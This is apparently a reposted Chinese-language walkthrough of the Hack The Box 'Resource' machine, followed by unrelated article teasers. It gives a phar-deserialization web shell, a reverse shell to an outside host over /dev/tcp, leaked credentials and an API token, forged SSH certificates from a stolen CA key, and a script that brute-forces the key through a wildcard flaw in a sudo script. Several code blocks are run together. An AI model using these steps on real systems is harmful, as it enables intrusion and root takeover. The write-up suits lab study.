Hack The Box-Resource

总体思路

phar反序列化->SSH CA私钥泄露->SSH CA私钥滥用->SSH脚本滥用

信息收集&端口利用

nmap -sSVC itrc.ssg.htb

在这里插入图片描述

目标开放了两个ssh端口和一个80端口,先查看80端口

在这里插入图片描述

网站是一个SSG IT资源中心,主要用于解决网站问题、管理 SSH 访问、清除病毒和解决各种安全问题的权威一站式商店。

后台挂着目录扫描,先看看界面

界面上有登录和注册按钮,注册一个用户,查看能否直接登录

在这里插入图片描述

在这里插入图片描述

登录进来后是一个存储票据的界面,此时目录扫描结果也出来了

在这里插入图片描述

想到当前url为http://itrc.ssg.htb/index.php?page=dashboard,考虑可以拼接已扫出来的目录

访问admin界面

在这里插入图片描述

看到一个提示说,需要联系zzinter用户,放到后边再看

在这里插入图片描述

还有一个用于验证主机存活的接口

在这里插入图片描述

查看下方的tickets,随意单击一个票据查看,首先会跳转到http://itrc.ssg.htb/?page=ticket&id=5界面,然后提示票据不可用

在这里插入图片描述

目前没有别的信息,单击New Ticket按钮创建新的票据

在这里插入图片描述

他的接口为create_ticket,这里需要上传压缩包,先上传一个空的zip后缀文件查看

在这里插入图片描述

报错信息中提到了两个函数:ZipArchive::open()、hash_file

ZipArchive::open()
用于打开上传的zip文件hash_file
计算文件的hash值

上传完毕后回到界面,能看到刚刚上传的信息,并且添加评论等等

在这里插入图片描述

phar反序列化

www-data

在刚刚的报错信息中,能够得到网站的目录为/var/www/itrc,这里如果访问之前获得的api/create_ticket.php,会得到服务器的响应,但是只能访问没有后缀的PHP文件

在这里插入图片描述

从LFI漏洞中,我们可以测试一些协议,例如file://、dict://、phar://,他会触发LFI漏洞,意味着我们能够使用协议来触发上传的资源

可以测试http://itrc.ssg.htb/index.php?page=file:///var/www/itrc/api/create_ticket,以验证和刚刚相同的效果

在这里插入图片描述

由于它是PHP服务器,这里尝试使用phar反序列化攻击,创建一个用于RCE的PHP代码,并将其压缩后上传

需要注意的是PHP代码中前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件

在这里插入图片描述

在这里插入图片描述

上传完成后,发现该文件的名称被重命名,不过不影响后面的操作,重命名的格式是根据zip文件的内容,将其进行SHA-1加密,可以使用sha1sum验证

在这里插入图片描述

在这里插入图片描述

使用phar://协议访问刚刚上传的shell文件

在这里插入图片描述

在这里插入图片描述

现在现在可以做到远程命令执行,制作一段反弹shell,并发送

#/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.7/9000 0>&1'
http://itrc.ssg.htb/?page=phar://uploads/[sha1sum].zip/shell&cmd=/bin/bash+-c+%27/bin/bash+-i+%3E%26+/dev/tcp/10.10.16.7/9000+0%3E%261%27

在这里插入图片描述

拿到www-data用户

msainristil@itrc

在之前的目录扫描时候发现还存在db.php,查看它

#db.php
<?php$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);try {$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {die("Connection failed: " . $e->getMessage());
}

虽然有数据库的登录凭证,但是发现登录不了

通过查看home目录,我们能够知道下一个目标为zzinter和msainristil

在uploads目录下有若干个文件,其中不仅有我们上传的,也有系统本身自带的,使用zipgrep来枚举敏感信息

for zipfile in *.zip; do zipgrep "zzinter" "$zipfile"; done
for zipfile in *.zip; do zipgrep "msainristil" "$zipfile"; done

在这里插入图片描述

得到了msainristil用户的登录凭证

在这里插入图片描述

SSH CA私钥泄露

在decommission_old_ca文件夹下,有一对RSA密钥,是一个CA私钥

在这里插入图片描述

SSH CA私钥滥用

CA私钥是证书颁发机构在颁发数字证书过程中使用的重要密钥,这些证书可以验证用户的身份并在网络内建立信任

CA私钥(ca-itrc)可以签署其他公钥,从而创建系统信任的证书,使用命令ssh-keygen -y -f ca-itrc即可生成ca-itrc.pub,该pub文件不包含任何用户的身份信息,只是密钥对中的公钥,可以验证相应的私钥签名。可以使用CA私钥创建并签名公钥,然后检查证书

有了CA私钥,接下去使用CA 私钥签署公钥以创建SSH证书,一般涉及以下几个步骤:首先,‌生成CA的私钥和公钥。‌然后,‌为需要证书的用户或系统生成SSH密钥对(‌私钥和公钥)‌。‌接着,‌用户将公钥提交给CA。‌CA使用其私钥签署用户的公钥,‌生成SSH证书。‌最后,‌用户将SSH证书和私钥一起使用,‌进行认证。‌

zzinter@itrc

具体步骤如下

#新建密钥对
ssh-keygen -t rsa -b 2048 -f b3rry#使用CA私钥对公钥进行签名,并生成证书,指定zzinter为有效的用户名
ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter b3rry.pub#检查生成的证书
ssh-keygen -Lf b3rry-cert.pub#使用证书,以zzinter身份去登录到主机
ssh -o CertificateFile=b3rry-cert.pub -i b3rry zzinter@localhost

在这里插入图片描述

查看当前文件夹下的内容

在这里插入图片描述

root@itrc

发现有一个脚本只能root用户执行,使用刚才的方法,生成root的登录证书

ssh-keygen -t rsa -b 2048 -f root
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root root.pub
ssh -o CertificateFile=root-cert.pub -i root root@localhost

在这里插入图片描述

该root目录下并没有我们想要的文件,猜测可能是一个容器,查看端口连接状况

netstat -anltp

在这里插入图片描述

从中能够看到,,目前我们连接到的是172.223.0.3,更加确定他是一个容器

SSH脚本滥用

support@ssg

回到之前zzinter目录下,有一个sign_key_api.sh的文件,现在来查看它

#sign_key_api.sh#!/bin/bashusage () {echo "Usage: $0 <public_key_file> <username> <principal>"exit 1
}if [ "$#" -ne 3 ]; thenusage
fipublic_key_file="$1"
username="$2"
principal_str="$3"supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; doif ! echo "$supported_principals" | grep -qw "$word"; thenecho "Error: '$word' is not a supported principal."echo "Choose from:"echo "    webserver - external web servers - webadmin user"echo "    analytics - analytics team databases - analytics user"echo "    support - IT support server - support user"echo "    security - SOC servers - support user"echousagefi
doneif [ ! -f "$public_key_file" ]; thenecho "Error: Public key file '$public_key_file' not found."usage
fipublic_key=$(cat $public_key_file)curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

分析代码可知,运行该脚本需要三个参数,调用了signserv.ssg.htb上的服务,使用特定主体对SSH公钥进行签名

脚本说明中介绍了4个主体,即webserver、analytics、support、security,以及它们对应的用户名,只有support成对出现才会起作用

还是和之前一样,先创建一个密钥对,然后使用脚本对其公钥进行签名

ssh-keygen -t rsa -b 2048 -f support
chmod 600 support
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[support.pub]", "username": "support", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

运行完毕后,会生成support-cert.pub文件,将其和之前的密钥对都复制出来

在这里插入图片描述

由于端口22是用于主机的itrc,我们可以尝试使用私钥key登录2222端口

ssh -o CertificateFile=support-cert.pub -i support support@ssg.htb -p 2222

在这里插入图片描述

查看当前主机存在的用户

在这里插入图片描述

zzinter@ssg

发现还需要提权到zzinter用户

虽然我们根据shell脚本测试了这4个主体,但当然可以有更多的主体供我们以其他用户身份登录以继续进行

对于/etc/ssh/auth_principals目录,其与OpenSSH的证书颁发机构 (CA) 功能结合使用。它包含以用户帐户命名的文件,每个文件都列出了允许以该用户身份进行身份验证的身份

在这里插入图片描述

我们找到了zzinter主体所对应的用户名,再和之前一样,先生成密钥对,再使用该主体、用户名和公钥生成证书并登录

ssh-keygen -t rsa -b 2048 -f zzinter && chmod 600 zzinter
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[zzinter.pub]", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
chmod 600 zzinter-cert.pub
ssh -o CertificateFile=zzinter-cert.pub -i zzinter zzinter@ssg.htb -p 2222

在这里插入图片描述

既然能够使用此方法登录到zzinter用户,在主体中也包含了root_user和对应的root用户名,那么是否也能够给root的公钥签名,使用证书登陆呢

尝试运行以下命令

ssh-keygen -t rsa -b 2048 -f root && chmod 600 root
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[root.pub]", "username": "root", "principals": "root_user"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

在这里插入图片描述

发现无法认证,认证中的密钥拒绝对root用户使用

root@ssg

那么查看当前用户可执行权限

在这里插入图片描述

可以不需要密码以root身份执行/opt/sign_key.sh,查看脚本内容

#/opt/sign_key.sh#!/bin/bashusage () {echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"exit 1
}if [ "$#" -ne 5 ]; thenusage
fica_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"if [ ! -f "$ca_file" ]; thenecho "Error: CA file '$ca_file' not found."usage
fiif [[ $ca == "/etc/ssh/ca-it" ]]; thenecho "Error: Use API for signing with this CA."usage
fiitca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; thenecho "Error: Use API for signing with this CA."usage
fiif [ ! -f "$public_key_file" ]; thenecho "Error: Public key file '$public_key_file' not found."usage
fisupported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; doif ! echo "$supported_principals" | grep -qw "$word"; thenecho "Error: '$word' is not a supported principal."echo "Choose from:"echo "    webserver - external web servers - webadmin user"echo "    analytics - analytics team databases - analytics user"echo "    support - IT support server - support user"echo "    security - SOC servers - support user"echousagefi
doneif ! [[ $serial =~ ^[0-9]+$ ]]; thenecho "Error: '$serial' is not a number."usage
fissh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

这个脚本允许我们使用CA签署公钥,并且脚本会检查提供的CA是否和/etc/ssh/ca-it相匹配,若相同,则会退出

该脚本的主要命令为

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"-s "$ca_file":指定用于签名的CA密钥
-z "$serial":证书的序列号
-I "$username":证书的身份
-V -1w:forever:指定有效期(从1周前至永远)
-n "$principals":指定证书允许的主体
"$public_key_name":需要签名的公钥文件

此时如果我们想使用密钥ca-it签署RSA,系统会调用signserv Web应用程序上的 API。但是在脚本中,若这两个API相同,则会禁止使用该密钥(这就是为什么最开始不成功的原因?)。因此,我们需要尝试在本地找到有效的CA密钥来为root用户和相应的主体进行签名

在bash脚本中,很容易会受到通配符*的攻击,因为他可以代表任意字符,导致能够轻易的通过一些判断语句

--------------------------------------更新分界线---------------------------------------------

使用一段脚本来爆破

import subprocess#定义SSH私钥格式
startssh = "-----BEGIN OPENSSH PRIVATE KEY-----"
endssh = "-----END OPENSSH PRIVATE KEY-----"
base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
Pas = []
line= 0#运行脚本,使用通配符*对每一个私钥字节进行爆破
while True:for char in base64chars:JudgeKey = f"{startssh}\n{''.join(Pas)}{char}*"with open("crackca", "w") as f:f.write(JudgeKey)proc = subprocess.run(["sudo", "/opt/sign_key.sh", "crackca", "root.pub", "root", "root_user", "9"],capture_output=True)if proc.returncode == 1:Pas.append(char)#根据SSH私钥格式,每70个字符进行换行if (len(Pas) - line) % 70 == 0 and len(Pas) > 0:Pas.append("\n")line = line + 1breakelse:breakRca = f"{startssh}\n{''.join(Pas)}\n{endssh}\n"print(Rca)

创建完脚本后,先生成crackca密钥对

ssh-keygen -t rsa -b 2048 -f root

再使用此脚本和crackca公钥进行爆破

在这里插入图片描述

爆破出了ca私钥,再按照格式使用此私钥对生成的公钥进行授权

ssh-keygen -s ca -z 1111 -I root -V -1w:forever -n root_user root.pub

在这里插入图片描述

最后使用认证过的证书和私钥登录到root用户

ssh -o CertificateFile=root-cert.pub -i root root@localhost -p 2222

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/396430.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【学习总结】MySQL篇

MySQL MySQL索引 B树 B树和作为索引&#xff0c;有两个明显特点 一是、他的层级非常低&#xff0c;我们都知道传统的平衡二叉树。它们的阶为2&#xff0c;如果数据量很大&#xff0c;AVL树&#xff08;传统的平衡二叉树&#xff09;的层级就非常深。但是B树&#xff0c;它是…

基于STM32F407+NBIOT+华为云IOT平台设计的环境检测系统

基于STM32F407NBIOT华为云IOT平台设计的环境检测系统实现的功能&#xff1a; 【1】能够采集本地环境的温度、湿度、烟雾浓度&#xff0c;火光信息&#xff0c;在OLED显示屏上显示。 如果检测到烟雾、温度、火光超过阀值会触发蜂鸣器报警。 【2】能够通过NBIOT将本地设备采集的信…

在 Django 表单中传递自定义表单值到视图

在Django中&#xff0c;我们可以通过表单的初始化参数initial来传递自定义的初始值给表单字段。如果我们想要在视图中设置表单的初始值&#xff0c;可以在视图中创建表单的实例时&#xff0c;传递一个字典给initial参数。 1、问题背景 我们遇到了这样一个问题&#xff1a;在使…

解决 MacOS 连接公司 VPN 成功但是不能网络的问题

目录 解决办法2024 Mac mini 爆料 解决办法 操作比较简单&#xff0c;修改配置文件即可&#xff08;如果没有则需要手动创建&#xff09;。 sudo vim /etc/ppp/options在此文件下&#xff0c;加入 plugin L2TP.ppp&#xff1a; plugin L2TP.ppp如果文件里有l2tpnoipsec&…

【SpringBoot系列】接口参数的默认值与必要性

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

结构化输出及其使用方法

在 LLM 应用程序中构建稳健性和确定性 图片来自作者 欢迎来到雲闪世界。OpenAI最近宣布其最新的gpt-4o-2024–08–06模型支持结构化输出。与大型语言模型 (LLM) 相关的结构化输出并不是什么新鲜事——开发人员要么使用各种快速工程技术&#xff0c;要么使用第三方工具。 在本文…

[ACP云计算]组件介绍

一、IaaS、PaaS、SaaS 二、交换机 三、VPC 四、ECS 云服务器ECS&#xff08;Elastic Compute Service&#xff09;是阿里云提供的性能卓越、稳定可靠、弹性扩展的IaaS&#xff08;Infrastructure as a Service&#xff09;级别云计算服务。云服务器ECS免去了您采购IT硬件的前期…

vue项目名修改、webstorm和idea创建的项目重命名、重构项目、修改项目名称

一、需求 就是创建了一个项目&#xff0c;后期需要重命名&#xff0c;怎么办&#xff1f;----> 直接修改&#xff1f;肯定不行&#xff0c;因为里面有些配置也需要修改&#xff0c;假如你只改文件夹名称的话&#xff0c;里面配置都没修改&#xff0c;后期可能会出问题。 二…

完美解决浏览器的输入框自动填入时,黄色背景问题,以及图标被遮住问题(最新)

用图说话↓↓↓ 首先用代码解决黄色背景问题&#xff0c;box-shadow颜色设置透明即可&#xff0c;延时渲染时间可修改为更久 :deep(input:-webkit-autofill) {box-shadow: 0 0 0 1000px transparent !important;/* 浏览器记住密码的底色的颜色 */-webkit-text-fill-color: #f…

C++:多态及虚函数

多态&#xff1a;面向对象的多态性可以分为4类:重载多态、强制多态、包含多态和参数多态。 多态从实现的角度来讲可以划分为两类:编泽时的多态和运行时的多态 运算符重载&#xff1a; foo(i)相当于i的一个别名 前置和后置重载&#xff08;后置参数必须加一个int&#xff09; …

Ubuntu 22.04 Docker安装笔记

1、准备一台虚机 可以根据《VMware Workstation安装Ubuntu 22.04笔记》来准备虚拟机。完成后&#xff0c;根据需求安装必要的软件&#xff0c;并设置root权限进行登录。 sudo apt update sudo apt install iputils-ping -y sudo apt install vim -y允许root ssh登录&#xff1…

邀请函 I 松下信息和望繁信科技邀您参加「数智时代下大数据应用的“道”与“术”」闭门会议

在数字化浪潮席卷全球的今天&#xff0c;大数据与智能化的结合成为企业成功的关键。为了深入探讨这一重要议题&#xff0c;松下信息系统&#xff08;上海&#xff09;有限公司&#xff08;简称“松下信息”&#xff09;与上海望繁信科技有限公司&#xff08;简称“望繁信科技”…

11.面试题——消息队列RabbitMQ

1.RabbitMQ是什么&#xff1f;特点是什么&#xff1f; RabbitMQ是一种开源的消息队列中间件&#xff0c;用于在应用程序之间进行可靠的消息传递。它实现了AMQP&#xff08;Advanced Message Queuing Protocol&#xff09;协议&#xff0c;提供了强大的消息处理能力。RabbitMQ的…

【数据结构与算法】二叉树

二叉树 一.二叉树的结构二.二叉树的插入1.根的插入2.其他的插入 三.二叉树的删除1.找到删除节点2.删除节点的子节点只有一个或没有3.删除节点的子节点有两个 四.完整代码 一.二叉树的结构 树的形式多种多样,但是我们最常用的还是二叉树.在二叉树中最长用的又数二叉搜索树. 这…

云原生的候选应用

前言&#xff0c;到底哪些应用适合云原生&#xff1f; 云原生应用适合于多种场景&#xff0c;‌包括高并发、‌高负载的Web应用、‌大数据处理、‌容器化应用程序、‌微服务架构、‌DevOps、‌智能物联网、‌云原生区块链应用以及大数据和机器学习。‌ 高并发、‌高负载的Web…

RuntimeError: device >= 0 device < num_gpus INTERNAL ASSERT FAILED

参考网址 https://discuss.pytorch.org/t/runtimeerror-device-0-device-num-gpus-internal-assert-failed/178118/1 今天运行GPU发现一个很特别的问题&#xff0c;就是 解决办法

Vue的事件处理、事件修饰符、键盘事件

目录 1. 事件处理基本使用2. 事件修饰符3. 键盘事件 1. 事件处理基本使用 使用v-on:xxx或xxx绑定事件&#xff0c;其中xxx是事件名&#xff0c;比如clickmethods中配置的函数&#xff0c;都是被Vue所管理的函数&#xff0c;this的指向是vm或组件实例对象 <!DOCTYPE html&g…

【路由器】RT-AC88U华硕配置DNS

公共dns ip 测试了下就119.29.29.29 为53毫秒,谷歌的8.8.8.8为55毫秒。阿里的竟然有112毫秒。阿里DNS:阿里巴巴集团提供的公共DNS服务器,其服务器分布广泛,响应速度较快。主要DNS地址:223.5.5.5、223.6.6.6。 百度DNS:百度提供的公共DNS服务器,也具有较快的响应速度。主…

【原创】springboot+mysql疫苗预约网设计与实现

个人主页&#xff1a;程序猿小小杨 个人简介&#xff1a;从事开发多年&#xff0c;Java、Php、Python、前端开发均有涉猎 博客内容&#xff1a;Java项目实战、项目演示、技术分享 文末有作者名片&#xff0c;希望和大家一起共同进步&#xff0c;你只管努力&#xff0c;剩下的交…

uni-app中如何使用日期选择器

uni-app中如何使用日期选择器&#xff0c;分别实现日&#xff0c;月&#xff0c;年 日 <picker mode"date" fields"day">是日的内容</picker> 月 <picker mode"date" fields"month">日期选择器</picker> 年…